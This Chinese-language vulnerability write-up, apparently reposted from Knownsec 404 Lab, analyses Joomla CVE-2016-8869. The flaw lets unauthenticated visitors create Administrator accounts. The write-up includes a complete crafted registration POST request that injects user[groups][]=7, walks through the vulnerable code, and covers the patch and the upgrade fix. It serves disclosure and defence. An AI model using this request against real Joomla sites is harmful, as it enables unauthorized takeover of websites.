【漏洞研究】[漏洞分析]Joomla未授权创建特权用户漏洞(CVE-2016-8869)分析

Author : p0wd3r (知道创宇404安全实验室),原文地址:http://paper.seebug.org/88/


0x00 漏洞概述



1.漏洞简介


Joomla是一个自由开源的内容管理系统,近日研究者发现在其3.4.4到3.6.3的版本中存在两个漏洞:CVE-2016-8869,CVE-2016-8870。我们在这里仅分析CVE-2016-8869,利用该漏洞,攻击者可以在网站关闭注册的情况下注册特权用户。Joomla官方已对此漏洞发布升级公告。


2.漏洞影响


网站关闭注册的情况下仍可创建特权用户


3.影响版本


3.4.4 to 3.6.3


0x01 漏洞复现


1. 环境搭建


  1. wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz


解压后放到服务器目录下,例如/var/www/html

创建个数据库:
  1. docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql


访问服务器路径进行安装即可。


2.漏洞分析


注册

注册部分可参考:《Joomla未授权创建用户漏洞(CVE-2016-8870)分析》

提权

下面我们来试着创建一个特权用户。

在用于注册的register函数中,我们先看一下$model->register($data)这个存储注册信息的方法,在components/com_users/models/registration.php中:
  1. public function register($temp)  
  2.     {
  3.         $params = JComponentHelper::getParams('com_users');
  4.         // Initialise the table with JUser.
  5.         $user = new JUser;
  6.         $data = (array) $this->getData();
  7.         // Merge in the registration data.
  8.         foreach ($temp as $k => $v)
  9.         {
  10.             $data[$k] = $v;
  11.         }
  12.         ...
  13.     }


可以看到这里使用我们可控的$temp给$data赋值,进而存储注册信息。正常情况下,$data在赋值之前是这样的:


而正常情况下我们可控的$temp中是没有groups这个数组的,所以正常注册用户的权限就是我们配置中设置的权限,对应的就是groups的值。

那么提升权限的关键就在于更改groups中的值,因为$data由我们可控的$temp赋值,$temp的值来自于请求包,所以我们可以构造如下请求包:
  1. POST /index.php/component/users/?task=registration.register HTTP/1.1  
  2. ...
  3. Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI  
  4. ...
  5. Cookie: yourcookie
  6. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  7. Content-Disposition: form-data; name="user[name]"
  8. attacker2  
  9. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  10. Content-Disposition: form-data; name="user[username]"
  11. attacker2  
  12. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  13. Content-Disposition: form-data; name="user[password1]"
  14. attacker2  
  15. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  16. Content-Disposition: form-data; name="user[password2]"
  17. attacker2  
  18. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  19. Content-Disposition: form-data; name="user[email1]"
  20. [email protected]  
  21. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  22. Content-Disposition: form-data; name="user[email2]"
  23. [email protected]  
  24. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  25. Content-Disposition: form-data; name="user[groups][]"
  26. 7  
  27. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  28. Content-Disposition: form-data; name="option"
  29. com_users  
  30. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  31. Content-Disposition: form-data; name="task"
  32. user.register  
  33. ------WebKitFormBoundaryefGhagtDbsLTW5qI
  34. Content-Disposition: form-data; name="yourtoken"
  35. 1  
  36. ------WebKitFormBoundaryefGhagtDbsLTW5qI--



这里我们添加一组值:name="user[groups][]" value=7,让user被当作二维数组,从而groups被识别为数组,并设置数组第一个值为7,对应着Administrator的权限。

然后发包,通过调试可以看到$temp中已经有了groups数组:


最后创建了一个权限为Administrator的用户attacker2:



通过存在漏洞的注册函数我们可以提权,那么在允许注册的情况下我们可不可以通过正常的注册函数来提权呢?

通过对比这两个函数,可以发现这样一点:

  1. UsersControllerRegistration::register():
  2. public function register()  
  3.     {
  4.         ...
  5.         $data = $model->validate($form, $requestData);
  6.         ...
  7.         // Attempt to save the data.
  8.         $return = $model->register($data);
  9.         ...
  10.     }
  11. UsersControllerUser::register():
  12. public function register()  
  13.     {
  14.         ...
  15.         $return = $model->validate($form, $data);
  16.         ...
  17.         // Attempt to save the data.
  18.         $return = $model->register($data);
  19.         ...
  20.     }


可以看到UsersControllerRegistration::register()中存储了对$requestData验证后的$data,而UsersControllerUser::register()虽然同样进行了验证,但是存储的仍是之前的$data。所以重点是validate函数是否对groups进行了过滤,我们跟进一下,在libraries/legacy/model/form.php中:

  1. public function validate($form, $data, $group = null)  
  2.     {
  3.         ...
  4.         // Filter and validate the form data.
  5.         $data = $form->filter($data);
  6.         ...
  7.     }


再跟进filter函数,在libraries/joomla/form/form.php中:
  1. public function filter($data, $group = null)  
  2.     {
  3.         ...
  4.         // Get the fields for which to filter the data.
  5.         $fields = $this->findFieldsByGroup($group);
  6.         if (!$fields)
  7.         {
  8.             // PANIC!
  9.             return false;
  10.         }
  11.         // Filter the fields.
  12.         foreach ($fields as $field)
  13.         {
  14.             $name = (string) $field['name'];
  15.             // Get the field groups for the element.
  16.             $attrs = $field->xpath('ancestor::fields[@name]/@name');
  17.             $groups = array_map('strval', $attrs ? $attrs : array());
  18.             $group = implode('.', $groups);
  19.             $key = $group ? $group . '.' . $name : $name;
  20.             // Filter the value if it exists.
  21.             if ($input->exists($key))
  22.             {
  23.                 $output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));
  24.             }
  25.         }
  26.         return $output->toArray();
  27.     }


可以看到这里仅允许$fields中的值出现在$data中,而$fields中是不存在groups的,所以groups在这里被过滤掉,也就没有办法进行权限提升了。




3.补丁分析





官方删除了UsersControllerUser::register()方法。



0x02 修复方案


升级到3.6.4



0x03 参考


https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html

https://www.youtube.com/watch?v=Q_2M2oJp5l4





技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/130.html?fpage=16

评论

此博客中的热门博文

【黑产分析】互联网业务安全的黑灰产业链的故事

【黑产分析】Aveo恶意软件分析

【黑产分析】《中国互联网地下产业链分析白皮书》